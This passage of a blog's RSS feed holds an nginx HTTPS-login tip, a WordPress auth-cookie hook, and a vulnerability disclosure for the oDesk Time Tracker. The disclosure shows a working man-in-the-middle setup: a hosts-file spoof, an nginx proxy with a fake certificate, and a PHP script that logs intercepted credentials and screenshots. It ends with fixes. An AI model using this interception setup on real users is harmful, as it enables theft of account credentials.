&nbsp; &nbsp; <span class="kw1">rewrite</span> .* https://example.com/wp-login.php <span class="kw1">break</span>;<br />
}
        </div>
    </div>
</div>

<p><strong>Вторая возможность</strong> — задать HTTP- и HTTPS-версию сайта в одном виртуальном хосте:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71631">
        <div class="code nginx" id="p716code31">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">listen</span> 443 <span class="kw1">ssl</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> example.com;<br />
<br />
<span class="co1"># Ни в коем случае нельзя задавать директиву ssl on</span><br />
<span class="co1">#...</span><br />
}
        </div>
    </div>
</div>

<p>В этом случае добавляемый код будет сложнее:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71632">
        <div class="code nginx" id="p716code32">
<span class="kw1">location</span> = /wp-login.php {<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($ssl_protocol = <span class="st0">&quot;&quot;</span>) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">rewrite</span> .* https://example.com/wp-login.php <span class="kw1">break</span>;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> ...;<br />
&nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /path/to/blog/wp-login.php;<br />
&nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_NAME /wp-login.php;<br />
}
        </div>
    </div>
</div>

<p>Очевидно, что в директивах <code>fastcgi_xxx</code> нужно указать свои пути.</p>
<p>После этого nginx будет автоматически перенаправлять посетителя с <code>http://.../wp-login.php</code> на <code>https://.../wp-login.php</code>. Таким образом и форма, и адрес отправления формы будут находиться на защищённых страницах.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>oDesk Time Tracker Vulnerabilities</title>
		<link>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/</link>
		<comments>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:42:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[oDesk]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=581</guid>
		<description><![CDATA[When SSL is not enough oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>When <a href="http://blog.sjinks.pro/tag/ssl/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SSL">SSL</a> is not enough</em></h2>
<ol>
<li><a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  oDesk">oDesk</a> Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle attacks</a> (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is <a href="http://www.securesphere.net/download/papers/dnsspoof.htm">doable</a>).<span id="more-581"></span>
<p>To imitate the DNS spoofing we will need to edit <code>/etc/hosts</code> file:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58137">
        <div class="code text" id="p581code37">
127.0.0.1 team.odesk.com
        </div>
    </div>
</div>

<p>And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used <a href="http://blog.sjinks.pro/tag/nginx/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  nginx">nginx</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58138">
        <div class="code nginx" id="p581code38">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">keepalive_timeout</span> <span class="nu0">70</span>;<br />
<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> &nbsp;default;<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/secure-team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/secure-team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate</span> /etc/nginx/certs/fake-cert.crt;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate_key</span> /etc/nginx/certs/fake-cert.key;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_timeout</span> 5m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl_protocols</span> SSLv3 TLSv1;<br />
&nbsp; &nbsp; <span class="kw1">ssl_ciphers</span> HIGH:MEDIUM;<br />
&nbsp; &nbsp; <span class="kw1">ssl_prefer_server_ciphers</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_cache</span> shared:SSL:10m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}
        </div>
    </div>
</div>

<p>Nice <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">PHP</a> proxy that logs all communication between the client and server:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58139">
        <div class="code php" id="p581code39">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> <span class="sy0">=</span> <span class="kw3">curl_init</span><span class="br0">&#40;</span><span class="st_h">'https://209.128.65.132'</span> <span class="sy0">.</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$_FILES</span> <span class="kw1">as</span> <span class="re0">$key</span> <span class="sy0">=&gt;</span> <span class="re0">$item</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st_h">'@'</span> <span class="sy0">.</span> <span class="re0">$item</span><span class="br0">&#91;</span><span class="st_h">'tmp_name'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> <span class="sy0">=</span> <span class="kw3">fopen</span><span class="br0">&#40;</span><span class="kw3">dirname</span><span class="br0">&#40;</span><span class="kw4">__FILE__</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st_h">'/log.txt'</span><span class="sy0">,</span> <span class="st0">&quot;a&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&lt;&lt;&lt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="sy0">,</span> 1<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&gt;&gt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POST<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POSTFIELDS<span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HTTPHEADER<span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'Host: team.odesk.com'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_RETURNTRANSFER<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HEADER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYPEER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYHOST<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">curl_exec</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_close</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;---<span class="es1">\n</span><span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fclose</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="re0">$s</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;status=S_OK<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Fraude perit virtus&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p58140">
        <div class="code text" id="p581code40">
SERVER: https://209.128.65.132/client/receiver<br />
IN:<br />
Array<br />
(<br />
&nbsp; &nbsp; [version] =&gt; Linux/1.3.4<br />
&nbsp; &nbsp; [status] =&gt; C_NORMAL<br />
&nbsp; &nbsp; [company] =&gt; ics2:ics2<br />
&nbsp; &nbsp; [user] =&gt; vkolesnikov<br />
&nbsp; &nbsp; [password] =&gt; password_goes_here<br />
&nbsp; &nbsp; [uid] =&gt; 5f323dce-ee5c-4347-9074-ed5d356362d4<br />
&nbsp; &nbsp; [computer] =&gt; SJINKS<br />
&nbsp; &nbsp; [os] =&gt; Linux Ubuntu 9.04 (2.6.28-13-server)<br />
&nbsp; &nbsp; [snapint] =&gt; 600<br />
&nbsp; &nbsp; [trigger] =&gt; login<br />
&nbsp; &nbsp; [keyev] =&gt; 1<br />
&nbsp; &nbsp; [mousev] =&gt; 1<br />
&nbsp; &nbsp; [events_per_minute] =&gt; 1245070126,1,1<br />
&nbsp; &nbsp; [activewintitle] =&gt; client : mc<br />
&nbsp; &nbsp; [screensaveron] =&gt; false<br />
&nbsp; &nbsp; [memo] =&gt;.<br />
&nbsp; &nbsp; [task_id] =&gt;.<br />
&nbsp; &nbsp; [task_description] =&gt;.<br />
&nbsp; &nbsp; [screenshot_width] =&gt; 1680<br />
&nbsp; &nbsp; [screenshot_height] =&gt; 1050<br />
&nbsp; &nbsp; [timestamp] =&gt; 1245070127<br />
&nbsp; &nbsp; [screen] =&gt; @/tmp/phpqzwmeh<br />
)<br />
<br />
OUT:<br />
status=S_OK<br />
servertime=1245070127<br />
hiresdesktop=enable<br />
webcam=user<br />
period=600<br />
use_https=yes<br />
company_name=ICS<br />
first_name=Vladimir<br />
last_name=Kolesnikov<br />
tz=Europe/Athens<br />
company=ics2:ics2<br />
login=vkolesnikov<br />
companies=Sphere314,extrememember,ics2:ics2<br />
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25<br />
task_integration_policy=1<br />
cache_size=120
        </div>
    </div>
</div>

And here comes the second vulnerability.</li>
<li>
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.
</li>
</ol>
<p>The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker&#8217;s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider&#8217;s account.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress: одновременный логин для HTTP и HTTPS</title>
		<link>http://blog.sjinks.pro/wordpress/tips-and-tricks/486-simultaneous-login-for-http-and-https/</link>
		<comments>http://blog.sjinks.pro/wordpress/tips-and-tricks/486-simultaneous-login-for-http-and-https/#comments</comments>
		<pubDate>Sat, 17 Jan 2009 19:09:55 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Советы]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[советы]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=486</guid>
		<description><![CDATA[Простое решение для POST на SSL URL В WordPress, начиная с версии 2.6, встроена поддержка HTTPS: можно сделать либо HTTPS-логин, либо поместить панель администратора за SSL. Однако, из-за особенностей реализации, когда пользователь входит в систему, он получает cookie либо для HTTP, либо для HTTPS. Иными словами, если пользователь попал на http&#x003A;//example.com/wp-admin/, то при переходе на [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/tips-and-tricks/486-simultaneous-login-for-http-and-https/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Простое решение для POST на <a href="http://blog.sjinks.pro/tag/ssl/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SSL">SSL</a> URL</em></h2>
<p>В <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a>, начиная с версии 2.6, встроена поддержка <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTPS">HTTPS</a>: можно сделать либо <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTPS">HTTPS</a>-логин, либо поместить панель администратора за SSL. Однако, из-за особенностей реализации, когда пользователь входит в систему, он получает cookie либо для HTTP, либо для <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTPS">HTTPS</a>. Иными словами, если пользователь попал на <code>http&#x003A;//example.com/wp-admin/</code>, то при переходе на <code>https&#x003A;//example.com/wp-admin/</code> ему придётся входить в систему еще раз.</p>
<p>Всё бы ничего, но если плагин делает POST на HTTPS, то пользователь попадает на wp-login.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a>, который после успешного входа сделает перенаправление (GET) на URL, который ожидает принять POST. При этом если POST шёл на <code>https&#x003A;//example.com/wp-admin/admin.php?page=somepage&amp;<strong style="color: red">noheader=1</strong></code>, то пользователь увидит безобразную страницу.<span id="more-486"></span></p>
<p>К счастью, есть простое решение. Как известно, аутентификационные cookies устанавливает процедура <code>wp_set_auth_cookie</code>. Перед их установкой она генерирует событие <code>set_auth_cookie</code>, которому передаются следующие параметры:</p>
<ul>
<li><span class="codebox"><code class="php"><span class="re0">$auth_cookie</span></code></span>&nbsp;&mdash;&nbsp;значение для cookie, сгенерированное процедурой <span class="codebox"><code class="php">wp_generate_auth_cookie<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span>;</li>
<li><span class="codebox"><code class="php"><span class="re0">$expire</span></code></span>&nbsp;&mdash;&nbsp;0, если пользователь не выбрал "Запомнить меня", не 0 в противном случае;</li>
<li><span class="codebox"><code class="php"><span class="re0">$expiration</span></code></span>&nbsp;&mdash;&nbsp;срок жизни cookie;</li>
<li><span class="codebox"><code class="php"><span class="re0">$user_id</span></code></span>&nbsp;&mdash;&nbsp;ID пользователя (из таблицы <code>wp_users</code>);</li>
<li><span class="codebox"><code class="php"><span class="re0">$scheme</span></code></span>&nbsp;&mdash;&nbsp;схема аутентификации: <code>secure_auth</code> для SSL, <code>auth</code> для HTTP.</li>
</ul>
<p>Использовать эти данные можно следующим образом:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p48642">
        <div class="code php" id="p486code42">
<span class="co4">/**<br />
&nbsp;* set_auth_cookie action hook<br />
&nbsp;*<br />
&nbsp;* @param string $auth_cookie &nbsp; Value generated by wp_generate_auth_cookie()<br />
&nbsp;* @param int $expire &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0, if Remember Me is not checked<br />
&nbsp;* @param int $expiration &nbsp; &nbsp; &nbsp; Cookie expiration date<br />
&nbsp;* @param int $user_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ID of the logged in usger<br />
&nbsp;* @param string $scheme &nbsp; &nbsp; &nbsp; &nbsp;Authentication scheme (secure_auth or auth)<br />
&nbsp;*/</span><br />
<span class="kw2">function</span> sj_set_auth_cookie<span class="br0">&#40;</span><span class="re0">$auth_cookie</span><span class="sy0">,</span> <span class="re0">$expire</span><span class="sy0">,</span> <span class="re0">$expiration</span><span class="sy0">,</span> <span class="re0">$user_id</span><span class="sy0">,</span> <span class="re0">$scheme</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">static</span> <span class="re0">$was_here</span> <span class="sy0">=</span> <span class="kw4">false</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">===</span> <span class="re0">$was_here</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$was_here</span> <span class="sy0">=</span> <span class="kw4">true</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="st_h">'secure_auth'</span> <span class="sy0">==</span> <span class="re0">$scheme</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wp_set_auth_cookie<span class="br0">&#40;</span><span class="re0">$user_id</span><span class="sy0">,</span> 0 <span class="sy0">!=</span> <span class="re0">$expire</span><span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">elseif</span> <span class="br0">&#40;</span><span class="st_h">'auth'</span> <span class="sy0">==</span> <span class="re0">$scheme</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wp_set_auth_cookie<span class="br0">&#40;</span><span class="re0">$user_id</span><span class="sy0">,</span> 0 <span class="sy0">!=</span> <span class="re0">$expire</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$was_here</span> <span class="sy0">=</span> <span class="kw4">false</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<br />
add_action<span class="br0">&#40;</span><span class="st_h">'set_auth_cookie'</span><span class="sy0">,</span> <span class="st_h">'sj_set_auth_cookie'</span><span class="sy0">,</span> <span class="sy0">-</span>100<span class="sy0">,</span> 5<span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/tips-and-tricks/486-simultaneous-login-for-http-and-https/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/tips-and-tricks/486-simultaneous-login-for-http-and-https/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

